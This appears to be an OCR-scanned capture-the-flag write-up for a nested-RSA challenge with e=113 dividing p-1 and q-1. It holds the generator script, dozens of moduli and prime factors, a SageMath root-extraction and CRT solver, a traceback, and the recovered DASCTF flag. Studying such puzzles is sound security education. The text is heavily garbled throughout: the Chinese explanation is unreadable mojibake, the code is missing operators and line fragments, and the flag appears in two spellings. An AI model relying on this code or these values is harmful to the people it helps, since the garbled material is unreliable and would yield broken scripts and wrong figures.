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from Crypto.Util.number import
def getPrimel(bitLength, e):
while True:
i getPrime(bitLength)

if (i 1) e 2 9:

return i

bytes_to_long(flag)
((len(bin(m)) - 2) 2)

getPrimel(lenth, e)
q getPrimel(lenth, e)
n=p*q
{n}")
(m, e, n)
for i in (26):
lenth = ((len(bin(c)) - 2)
p = getPrimel(lenth, e)

q getPrimel(lenth, e)
n=p=q
print( {n}")
C (c,e,n)
print( {e}")
print( {c}")

2)




output.txt
1134876149917575363176366704410565158549594427794901202977560677131703617
68506321231437453734007374706367120760326482177047006099953454136095248103663
7783503593765446343363083302704731608384677185199537317445372251030064778965500447
1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
154990398670979772113107083090166774489239238263634715878983485186863886329223271871607435914878590067319236

n 623877666907259962799686364786982222632352335110746460325014958559280956117966941125734784058133056233071572

61619643
149613468815094181161817863881035329786434515024198653047232850897436412444016018135384842943872593983796706

3441528305921

n = 12874412363365765649906996644499220145679776297382234050529113164266034343678341314002350998331517742681189¢

315424928661125061

n = 691734265205859621786912217729809498441575123467703984951418134968507907341159197553701627305677395407523830

7918266361998553646469

n = 199930685116747777090580072161557941636527370741430868441979431180917759582947363285312868620853375301922453]

6487399393397120864878000113
138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783]

237918231719166519833124529218331

n = 839727238890458342553146271499921964257209127989869537783819458399521473782853889516419581797344118477581406

9396690436662985593377966417476040659

n = 833728893321660886514132548853760852655611302147546863617849647447447110926684732811322493520405206390928712

94276293287744276919265091479681667169671
106849539146283708308892199036547071409680940247670313666245957319185234354661235140946595953572314104717387

36952266383928737163485550013190959149252435167

= 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900

339268764469280769569535109069729404621290809120793

n = 244914131334288513069336887335188985168902178036478068290027759359757415684220473442064427469838717357234868

65901743352102305801200224958166496937663406627341150101
224751733560031017690996410906050281524020768451091844720976759751141493462666861670486554805975100884162028

8545344598917362752622130186820039265603312354963258673860579
157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852

055691446362753906164711087278555153881606839791499207025307202087

n = 439385718694974849136829751929550126147944988160572040910163743023418541007751329243215698767976993429591916

46206571444845883942305710956894334106963321644724361549027630634869933
260906529853447091473068645471622490533313181289064337863063604322425548466218523606158526423100497507280105

3316107165770342161619265243081616632312934742288262985830181883449780965531
222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338

391509536653547350134615807194339839952004333949540567943568810413945779642106201

n = 448904728244276262524511200595274866776623710339454815421953542554734038158533205914689172954745782716808653

94304946847791535710766947049195816261224382109115684638995528332538466194474846836399
106278963377434941793878835300151676330374338938112038052226232712309972863103493566341883266426583395948701

8276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563

e=113

c=10283249190381046834754857592349951584665432981846372190123540538833917591727611258021896977627782421754078765

48832454351014064525118465877297277847501477586955680645311999174005606833294172830817159




flagtrsaiin® J5 /=A% 3CC B2 TIR— IR RIS, BI: 48 3 in 25 25 3
Mt Te. FIERN . ®EHC

RAEN, FIH MK IR S HXF R, q

Hp. qEREEKH, el(g-1) H e|p-1)

i ¥ e, phifEEARRELHE ged(e, phi) = efI1E R

Z% LT R

e flp-1 (Hg-1) KWERRANHHRE e 5, HEiRiie | (p-1), REXN cH e RAWRAIT.

A LUK R T5FE mhe = ¢ (modn) ALk

m’e = ¢ (modp)

m’e = ¢ (modq)

RIG S HIHE GF§ M GF(q) £Xf ¢ IF e kT7HR, BACRTAS— TEIWAARZE modn T HIf#.

AR, A AR BR AR N FF AR 2

XH e 5p-1Mg-1HAER, FTREFEEMRANTEITHTESE.

XAERT, FFEHBATLAA Tonelli-Shanks algorithm , WikiJiixANEER LAY R BIFF nik 5 48 .
EiXfFpaper B4 H T AR H:: Adleman-Manders-Miller rth Root Extraction Method .
XANFERGIFH — MR, SRR EJF e IRTT, BESH e MR (XERHEL FAHOXI337ME) .

e R 2 FH At AR 2

StackOverflow — Cube root modulo P 45 T 5 %.

WA EIFTA K primitive ©x1337th root of 17

StackExchange — Finding the n-th root of unity in a finite field £ H T ¥

Exploit (Bl e=0x1337 A#Hl)

o %M Adleman-Manders-Miller rth Root Extraction Method #£ GF§ 1 GF(q) EXt ¢ JF e kAR, 4> HI15 3] — /M.
KIERZ|10%.

o RIFERIFIER 0x1336 4 primitive nth root of 1, LA EEIRAME, BRIFTEK 0x1337 ME. KHE1504.
o FHCRTX GF§ M GF(q) LM 0x1337 ANMEH A modn FHIf#E, TILATS 3] 0x1337%%2=24196561 4> modn KIf#. &5

feilit check() MBI Aflag. KRAE+ L%k
fRBE, RIADIE—AME, FEYIDHE
Hc=m"e mod n JRH# PA K B MERZHE, AHELIBERE mBAMAF L—4n
RO N b DA EBR e 251, 57A emfg R A R 14
bk, BB —HEMN, FEEY BEXHAZAAM (FTHSH HRER BRBEN IS /FE%M4Km

HETED H U IO (laghn#15k)

1134876149917575363176366704410565158549594427794901202977560677131703617
68506321231437453734007374706367120760326482177047006099953454136095248103663
7783503593765446343363083302704731608384677185199537317445372251030064778965500447

1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
15499039867097977211310708309016677448923923826363471587898348518686388632922327187160743591487859006731923



https://lazzzaro.github.io/2020/05/06/crypto-RSA/
https://en.wikipedia.org/wiki/Tonelli%25E2%2580%2593Shanks_algorithm
https://arxiv.org/pdf/1111.4877.pdf
https://stackoverflow.com/questions/6752374/cube-root-modulo-p-how-do-i-do-this
https://crypto.stackexchange.com/questions/63614/finding-the-n-th-root-of-unity-in-a-finite-field

n9 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157
261619643

n1o0 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967
063441528305921

nll 1287441236336576564990699664449922014567977629738223405052911316426603434367834131400235099833151774268118
90315424928661125061

nl2 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238
307918266361998553646469

nl3 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224
536487399393397120864878000113

nl4 1385940560230483869267663295371275385581647188419255067351123671766423283522574720343816624936662992209107
83237918231719166519833124529218331

nl5 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814
©69396690436662985593377966417476040659

nl6 8337288933216608865141325488537608526556113021475468636178496474474471109266847328113224935204052063909287
1294276293287744276919265091479681667169671

nl7 1068495391462837083088921990365470714096809402476703136662459573191852343546612351409465959535723141047173
8736952266383928737163485550013190959149252435167

nl8 4283591348999605329647297497135131067603067197121949509545676191569850673225647312946539912046668536896889
00339268764469280769569535109069729404621290809120793

n19 2449141313342885130693368873351889851689021780364780682900277593597574156842204734420644274698387173572348
6865901743352102305801200224958166496937663406627341150101

n20 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620
288545344598917362752622130186820039265603312354963258673860579

n21 1579783799425361769443258752411961217641167124872268082710021405009266789420904913835440345912059649581308
52055691446362753906164711087278555153881606839791499207025307202087

n22 4393857186949748491368297519295501261479449881605720409101637430234185410077513292432156987679769934295919
1646206571444845883942305710956894334106963321644724361549027630634869933

n23 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801
©53316107165770342161619265243081616632312934742288262985830181883449780965531

n24 2222359072024541325550714559587007402285674656165608597112141022454615144281873919091760546618648936457133
38391509536653547350134615807194339839952004333949540567943568810413945779642106201

n25 4489047282442762625245112005952748667766237103394548154219535425547340381585332059146891729547457827168086
5394304946847791535710766947049195816261224382109115684638995528332538466194474846836399

n26 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487
018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563

e 113

C 102832491903810468347548575923499515846654329818463721901235405388339175917276112580218969776277824217540787
6548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

p26 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617
26 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539
p25 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227
q25 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037
p24 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531

q24 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571

p23 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891

q23 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041

p22 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737

q22 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909

p21 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173

q21 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619

p20 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057

q20 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747

p19 4479430800690915874719403516331677127806963529247809966024777708496270901092401687

q19 5467527956822382309398095704409409074818664888285375307055715842283183939297839923

pl8 15874438801602936764330936047390981280096007684699625987478211613419079727910193

ql8 26984206512970181742033712455904984758134288864531714209886622060356697128804201

pl7 102366458668689911004027849640392002821642295855327735994412634235696717329671




98604 340598189010 S
262775599542220820608778738911414710660835549772895468394761119434220071003
317277895959173163347650321012213555955385929418622006880521870012130207557
2623629589005115152329094552749299711026240699896424120660145647226563547
3200631836176555526009533059891690177091538103904679780020639896015937897
11136261905010083405430254612464029672882837025885682392810368001188527
12445294229358634680867170058509842935273054334385354032543323581223253
43449898447639409732732812916430042263570178747794530133229640125923
46014074200352892806829193743016415423205917845271691428043440245531
66882708962198932251728043152245270662769508317424500666902658099
103424977238409568447978495499643051307907366367259219393937014631
350121371461894793578110243222665782247737840410076591434903787
367712839396521757736384350030802803477965822058616833553305103
954412804126450754097808991490470782833291028309980575506163
1567597041534155679238655992215022394597376421096298363211067
6623023178993627032758350846838617937710601663528839184727
9419832152875820180139633405089278278408407453522978357309
37185691759470013533730603170661686570987787098353146897
41680117092754807988080699273322244961911189757589699867
135813272566456906193934636644217527100917542578856697
140758317578347635848563045232314610161039815135897421
385788223643735590500185001710758495904528462058461
576581905150085393327734090419529952232186498060949
1656848589754467667368312855929759764100120657831
2714357008989072105081411295741540337141142641741
7832299017937880395583715032476962329929226581
10726403821316775206273675267109184566904426261
24335212484189159197840692460327461505035059
43974782968656404951924524450501283426052127
88067722275537586769787599991567203589751
88380889077762105057154017276462714444697
232079231415308325450092906880606082069
295185057334340451492588650872876746227
953730950786751671162019537171974567

1189933229053113361422958527792232151

def solve(p, g, c, e, n_)

n_

P. PolynomialRing(Zmod(p), implementation
f e C

mps f.monic().roots()

P. PolynomialRing(Zmod(q), implementation
g e - ¢

mgs g.monic().roots()

for mpp in mps
X = mpp[@]
for mgq in mgs
y = mqq[@]
solution CRT_list([int(x), int(y)], [p, ql)
if solution < n_
solutions.append(solution)

[]
[]
[]

for i in range(@, 27




solutions [1]
i=26-1
print(i)

print( , C)
eval( .format(i))
print('p’,p[-1])
eval( .format(i))
print('q’, q[-1])
eval( .format(i-1))
print( > n_[-1])
solve(p[-1], q[-1], c, e, n_[-1])
print(solutions)
if i 21

C solutions([9]
elif i==9

C solutions[-2]
elif i==5

C solutions[9]
else

C solutions[-1]
print()
print()

c 10283249190381046834754857592349951584665432981846372190123540538833917591727611258021896977627782421754078765
48832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

p 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617

g 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539

E—4°n 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680
865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
[344770056768201622063135243507183889953889643611119144611227929454047472586406265725196702157657498283473781026
56628531443002193905830917576501911098980764185815997345702819264240009751148442426 ]

25

C 34477005676820162206313524350718388995388964361111914461122792945404747258640626572519670215765749828347378102,
656628531443002193905830917576501911098980764185815997345702819264240009751148442426

p 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227

q 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037

E—4"n 22223590720245413255507145595870074022856746561656085971121410224546151442818739190917605466186489364571
3338391509536653547350134615807194339839952004333949540567943568810413945779642106201
[122251474355770407049299923720807002619294038964768766444097932240736660221208587524190952184175408395327264273]
947998924572358674189845633957638043199338228060748873522292564061697159084155]

24

c 12225147435577040704929992372080700261929403896476876644409793224073666022120858752419095218417540839532726427
3947998924572358674189845633957638043199338228060748873522292564061697159084155

p 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531

g 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571

E—4"n 26090652985344709147306864547162249053331318128906433786306360432242554846621852360615852642310049750728
01053316107165770342161619265243081616632312934742288262985830181883449780965531
[230298298830613087371867824804696563561997712237887540097984577688796410249091970097070541121447329961367170176)
2260147495040038609477011076066320527267277326015932285789720472919789158 ]
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C 23029829883061308737186782480469656356199771223788754009798457768879641024909197009707054112144732996136717017
62260147495040038609477011076066320527267277326015932285789720472919789158

p 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891

q 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041

b —4"n 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959
191646206571444845883942305710956894334106963321644724361549027630634869933
[235374514752646547833975196771859098632926652489415446461270418928106992546931576688782721630474479654943601476|
84605330696871807540713768499564637999043110095219692999410680226995 ]
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c 23537451475264654783397519677185909863292665248941544646127041892810699254693157668878272163047447965494360147
684605330696871807540713768499564637999043110095219692999410680226995

p 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737

q 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909

L —A4>n 15797837994253617694432587524119612176411671248722680827100214050092667894209049138354403459120596495813
©852055691446362753906164711087278555153881606839791499207025307202087
[140177373424899679430074829392928313477693819706173332758040927339401517742208025981523425936186925200196496612
125625456430631622632150834127049737384042503028994857458226467 ]

21
c 14017737342489967943007482939292831347769381970617333275804092733940151774220802598152342593618692520019649661
2125625456430631622632150834127049737384042503028994857458226467

p 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173

q 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619

F—4n 22475173356003101769099641090605028152402076845109184472097675975114149346266686167048655480597510088416
20288545344598917362752622130186820039265603312354963258673860579
[963130018196161068022561826136699615972631158326273266709450636152057794259408910239684181019014240059847446622)
341252471979045951190123708301480386597157821916163544334, 21978550861261380221645132523168415423267161012964323
7209951549593627718088951326786938561835919852060454295291676893330256385004619027744244112309090521216117612279
955

20

C 96313001819616106802256182613669961597263115832627326670945063615205779425940891023968418101901424005984744662,
2341252471979045951190123708301480386597157821916163544334

p 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057

g 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747

- —4n 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723
486865901743352102305801200224958166496937663406627341150101
[220997803964618297223793894113340902796090604317011216091825157238152606527567550539907063247099325148320322256
98612585831935469922880299786763383240418382919799321 ]
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C 22099780396461829722379389411334090279609060431701121609182515723815260652756755053990706324709932514832032225
698612585831935469922880299786763383240418382919799321

p 4479430800690915874719403516331677127806963529247809966024777708496270901092401687

q 5467527956822382309398095704409409074818664888285375307055715842283183939297839923

E—4"n 42835913489996053296472974971351310676030671971219495095456761915698506732256473129465399120466685368968
89003392687644692807695695351090697294046212960809120793
[339872121965407658932035525463686156827750242931688944610910333924021823802853041665508873405457522819631217022)
111208112413457553033499000314226547656845920264, 10520361509208586719618071302403158095326264524447074506280628
7628728083957360817366488801411967688912343820375347382249694217193012009121220949533257603223298]




5347382249694217193012009121220949533257603223298

p 15874438801602936764330936047390981280096007684699625987478211613419079727910193

g 26984206512970181742033712455904984758134288864531714209886622060356697128804201

E—4"n 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471
738736952266383928737163485550013190959149252435167
[277080747417313855968158372257506362663239610910199062842642288212669256761187689342449201374653349849943632822)
1834686503730687608977519563790607788117242]

17

c 27708074741731385596815837225750636266323961091019906284264228821266925676118768934244920137465334984994363282
21834686503730687608977519563790607788117242

p 102366458668689911004027849640392002821642295855327735994412634235696717329671

q 104379442774418262390337411577160146519860415840398189010112686742489182665577

E—4"n 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092
871294276293287744276919265091479681667169671
[795225635074200972416715407492674151072132236148140361744877086629645518014372325406598778538163968756939219784
83029788328787752167530021794795431857 ]
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c 79522563507420097241671540749267415107213223614814036174487708662964551801437232540659877853816396875693921978
483029788328787752167530021794795431857

p 262775599542220820608778738911414710660835549772895468394761119434220071003

g 317277895959173163347650321012213555955385929418622006880521870012130207557

E—4>n 83972723889045834255314627149992196425720912798986953778381945839952147378285388951641958179734411847758
14069396690436662985593377966417476040659
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2184916399177933499460690370459556, 2037298899016874045219277999643220063198097234557335235921481885211253636813]
115803603315238074035822211603707964528777576900935877949510316646223 ]
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C 20372988990168740452192779996432200631980972345573352359214818852112536368131158036033152380740358222116037079
64528777576900935877949510316646223

p 2623629589005115152329094552749299711026240699896424120660145647226563547

g 3200631836176555526009533059891690177091538103904679780020639896015937897

—4>n 13859405602304838692676632953712753855816471884192550673511236717664232835225747203438166249366629922091
©783237918231719166519833124529218331
[916205342059131665382630946396866215452072901946306474979827813664179410901953136554200478058469060505558212441
35842146392017800438719304994 ]
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c 91620534205913166538263094639686621545207290194630647497982781366417941090195313655420047805846906050555821244]
135842146392017800438719304994

p 11136261905010083405430254612464029672882837025885682392810368001188527

q 12445294229358634680867170058509842935273054334385354032543323581223253

E—4"n 19993068511674777709058007216155794163652737074143086844197943118091775958294736328531286862085337530192
24536487399393397120864878000113
[634223615344447851225076194238185184332604736515528218505996221339671015125769748828654573318605955936504358040
759056745442253727290998 ]
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C 63422361534444785122507619423818518433260473651552821850599622133967101512576974882865457331860595593650435804]
©0759056745442253727290998

p 43449898447639409732732812916430042263570178747794530133229640125923

q 46014074200352892806829193743016415423205917845271691428043440245531




E—4"n 69173426520585962178691221772980949844157512346770398495141813496850790734115919755370162730567739540752
38307918266361998553646469
[115174707776088603196839530012221297124967785764990601514359821194465949863780771906938899727010902892747862959
3266598515428543599]
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c 11517470777608860319683953001222129712496778576499060151435982119446594986378077190693889972701090289274786295
93266598515428543599

p 66882708962198932251728043152245270662769508317424500666902658099

q 103424977238409568447978495499643051307907366367259219393937014631

b —A4"n 12874412363365765649906996644499220145679776297382234050529113164266034343678341314002350998331517742681
1890315424928661125061
[488555569161990125296111669024456142985011919303875640421807727426573013514031544767533515153453563257628330373]
5514949638673 ]
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c 48855556916199012529611166902445614298501191930387564042180772742657301351403154476753351515345356325762833037
35514949638673

p 350121371461894793578110243222665782247737840410076591434903787

q 367712839396521757736384350030802803477965822058616833553305103

E—4n 14961346881509418116181786388103532978643451502419865304723285089743641244401601813538484294387259398379
67063441528305921
[441483827088168645513094641426499891374571558703981036806090540801685962515269086990244001450093104554187188047
355883908 ]
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c 44148382708816864551309464142649989137457155870398103680609054080168596251526908699024400145009310455418718804]
7355883908

p 954412804126450754097808991490470782833291028309980575506163

g 1567597041534155679238655992215022394597376421096298363211067

E—4n 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307
157261619643
[507462073444038044439698988761600259287741231418719732140270959257946521971690847772212144413620571469199864272)
84274]
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C 50746207344403804443969898876160025928774123141871973214027095925794652197169084777221214441362057146919986427
284274

p 6623023178993627032758350846838617937710601663528839184727

q 9419832152875820180139633405089278278408407453522978357309

| —/n 15499039867097977211310708309016677448923923826363471587898348518686388632922327187160743591487859006731
92362699
[657107719500394822892028354527169935943474820140535753753542512969310979794098072396859652456232677935960563842
, 85183403471392007201629482676689094010317816760781779471569227031853600716485786388150864976998142266363918416
3, 5270471558008405933691403102568853012746222456100095091213338586271582711164194561514495610496223792378513749
971
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c 85183403471392007201629482676689094010317816760781779471569227031853600716485786388150864976998142266363918416
3

p 37185691759470013533730603170661686570987787098353146897

q 41680117092754807988080699273322244961911189757589699867

E—4"n 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878




c 5772224180179962397158418478468305994920422145855450551932850591253169055736728137194928021864521464661511
p 135813272566456906193934636644217527100917542578856697

q 140758317578347635848563045232314610161039815135897421

- —A4"n 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
[201270414263671865648131358230135006175090857068415686069148837994386901812348962669414590276244279652 ]
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C 201270414263671865648131358230135006175090857068415686069148837994386901812348962669414590276244279652
p 385788223643735590500185001710758495904528462058461

g 576581905150085393327734090419529952232186498060949

. —4"n 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
[1631195497375922229848480131202350147418728908365651197102485655617240528564830722486663140830762 ]
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Cc 1631195497375922229848480131202350147418728908365651197102485655617240528564830722486663140830762

p 1656848589754467667368312855929759764100120657831

q 2714357008989072105081411295741540337141142641741

L —4n 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
[83436593835736927783034931301466249878138772728555530531816534785622373800125814331410735801, 54102890103742364
8292648425333532314938480435681509712968388151546772635406670001849006961 ]

4
c 83436593835736927783034931301466249878138772728555530531816534785622373800125814331410735801
p 7832299017937880395583715032476962329929226581

q 10726403821316775206273675267109184566904426261

E—/"n 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
[612402625116056383171913080691265536933185153779141510100715847406642891544437819056399]

3

C 612402625116056383171913080691265536933185153779141510100715847406642891544437819056399
p 24335212484189159197840692460327461505035059

q 43974782968656404951924524450501283426052127

 —4 n 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
[7523449601904104920623925101649366402016181450187359849499567637389273313904203215]

2

C 7523449601904104920623925101649366402016181450187359849499567637389273313904203215
p 88067722275537586769787599991567203589751

q 88380889077762105057154017276462714444697

E—/"n 68506321231437453734007374706367120760326482177047006099953454136095248103663
[23388304805925808822689623463866376122782272519632037291479310043364093060855 ]

1

c 23388304805925808822689623463866376122782272519632037291479310043364093060855
p 232079231415308325450092906880606082069

q 295185057334340451492588650872876746227

E—4"n 1134876149917575363176366704410565158549594427794901202977560677131703617
[53296318153341311013989348488093143123693921875654781175946491674187297 ]
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Cc 53296318153341311013989348488093143123693921875654781175946491674187297
p 953730950786751671162019537171974567

g 1189933229053113361422958527792232151

Traceback (most recent call last)
<ipython-input-39-193924cf64b6> in <module>
119 eval("qg.append(q{@})".format(i))
120 print('q', q[-Integer(1)])
--> 121 eval("n_.append(n{0})".format(i-Integer(1)))
Wy print (" E—4n", n_[-Integer(1)])
123 solve(p[-Integer(1)], q[-Integer(1)], c, e, n_[-Integer(1l)])

<string> in <module>

TypeError: unsupported operand type(s) for -: 'function' and 'int

6 R 7E W A B9
B Flagix —HEMMEM S, &An_ (B E—4Kn T

BhE, e, p. g, #HEFIm#byte

53296318153341311013989348488093143123693921875654781175946491674187297
953730950786751671162019537171974567
1189933229053113361422958527792232151

113

PolynomialRing(Zmod(p), implementation
C

.monic().roots()

PolynomialRing(Zmod(q), implementation
C

.monic().roots()

for mpp in mps
x=mpp[@]
for mgg in mgs
y=mqq[e]
solution CRT_1list([int(x), int(y)1l, [p, ql)
print(libnum.n2s(int(solution)))

BRI HALD

b"s*\xfc\xec\xa2\xf4\xcec\xcf"'\r(a\x02\x86\xde\xed\xbc\x9dwO\x0f\xd1Va, \xel\xeeP\x18"

b ' \x97\xa9\x07\xd7\xd3\xa5\x03\x06\xabz\xa9&\xel\xfcI\xc2Me\xf9\xbf\xd9\xb5\xbdC]a\xd0o;sZ"'

b ' 2\xd5\xd4\x17\xe70\x06\xe5\xe7\x13\x85\xa8\xbb\x12\xb9\x90\xb910V\x0eVk\xc4\x98\x9f\xed\tt\x86"'
b 'DASCTF{s4g3m4th_i5_co@l!}"*

b'$\x83\xfcx\x9eD\xd3\xa5\x06\nJ\xbaoI\x9e\x14\x80+G4\x8b\x9015? LA\xe7\xe8"
b'}\x9e!\x1e\x9c\xc8\xa2n" \xee#\x83\xb8!\xd5c\x9c9[ \xb5F~\xa0\xb8\xe3\xb1R\xe2}\xea"

b"\x1a\x92{ "' \xf0?z0\xF5\rL\x1d\x11N?\x13\xc3\xb2\x08\xd2{\xd7s\xda@=h\x16G\xf8"




DASCTF{s4g3mdth_i5_co0l!}

1134876149917575363176366704410565158549594427794901202977560677131703617
68506321231437453734007374706367120760326482177047006099953454136095248103663
7783503593765446343363083302704731608384677185199537317445372251030064778965500447
1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
15499039867097977211310708309016677448923923826363471587898348518686388632922327187160743591487859006731923]

62699

n9 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157

261619643

n1o 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967

063441528305921

nll 1287441236336576564990699664449922014567977629738223405052911316426603434367834131400235099833151774268118

90315424928661125061

nl2 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238

307918266361998553646469

nl3 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224

536487399393397120864878000113

n1l4 1385940560230483869267663295371275385581647188419255067351123671766423283522574720343816624936662992209107

83237918231719166519833124529218331

nl5 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814

©69396690436662985593377966417476040659

n16 8337288933216608865141325488537608526556113021475468636178496474474471109266847328113224935204052063909287

1294276293287744276919265091479681667169671

nl7 1068495391462837083088921990365470714096809402476703136662459573191852343546612351409465959535723141047173

8736952266383928737163485550013190959149252435167

nl8 4283591348999605329647297497135131067603067197121949509545676191569850673225647312946539912046668536896889

00339268764469280769569535109069729404621290809120793

n19 2449141313342885130693368873351889851689021780364780682900277593597574156842204734420644274698387173572348

6865901743352102305801200224958166496937663406627341150101

n20 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620

288545344598917362752622130186820039265603312354963258673860579

n21 1579783799425361769443258752411961217641167124872268082710021405009266789420904913835440345912059649581308

52055691446362753906164711087278555153881606839791499207025307202087

n22 4393857186949748491368297519295501261479449881605720409101637430234185410077513292432156987679769934295919

1646206571444845883942305710956894334106963321644724361549027630634869933

n23 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801

©53316107165770342161619265243081616632312934742288262985830181883449780965531

n24 2222359072024541325550714559587007402285674656165608597112141022454615144281873919091760546618648936457133

38391509536653547350134615807194339839952004333949540567943568810413945779642106201

n25 4489047282442762625245112005952748667766237103394548154219535425547340381585332059146891729547457827168086

5394304946847791535710766947049195816261224382109115684638995528332538466194474846836399

n26 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487

018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563

e 113

C 102832491903810468347548575923499515846654329818463721901235405388339175917276112580218969776277824217540787

6548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

p26 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617




1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539
5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227
7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037
14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531
15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571
43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891
59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041
206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737
212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909
368461902207817023013078031477042541053987571003677386333567043030477451518424731838173
428750921047556327595864876619292414694543668237320723518704707914310601565770504401619
1328165608715012145707239303399129070657427496129541416861187541092152796676371237057
1692196606246085729483398884059069884182535824953762329164855466589577530953493347747
4479430800690915874719403516331677127806963529247809966024777708496270901092401687
5467527956822382309398095704409409074818664888285375307055715842283183939297839923
15874438801602936764330936047390981280096007684699625987478211613419079727910193
26984206512970181742033712455904984758134288864531714209886622060356697128804201
102366458668689911004027849640392002821642295855327735994412634235696717329671
104379442774418262390337411577160146519860415840398189010112686742489182665577
262775599542220820608778738911414710660835549772895468394761119434220071003
317277895959173163347650321012213555955385929418622006880521870012130207557
2623629589005115152329094552749299711026240699896424120660145647226563547
3200631836176555526009533059891690177091538103904679780020639896015937897
11136261905010083405430254612464029672882837025885682392810368001188527
12445294229358634680867170058509842935273054334385354032543323581223253
43449898447639409732732812916430042263570178747794530133229640125923
46014074200352892806829193743016415423205917845271691428043440245531
66882708962198932251728043152245270662769508317424500666902658099
103424977238409568447978495499643051307907366367259219393937014631
350121371461894793578110243222665782247737840410076591434903787
367712839396521757736384350030802803477965822058616833553305103
954412804126450754097808991490470782833291028309980575506163
1567597041534155679238655992215022394597376421096298363211067

6623023178993627032758350846838617937710601663528839184727

9419832152875820180139633405089278278408407453522978357309

37185691759470013533730603170661686570987787098353146897

41680117092754807988080699273322244961911189757589699867

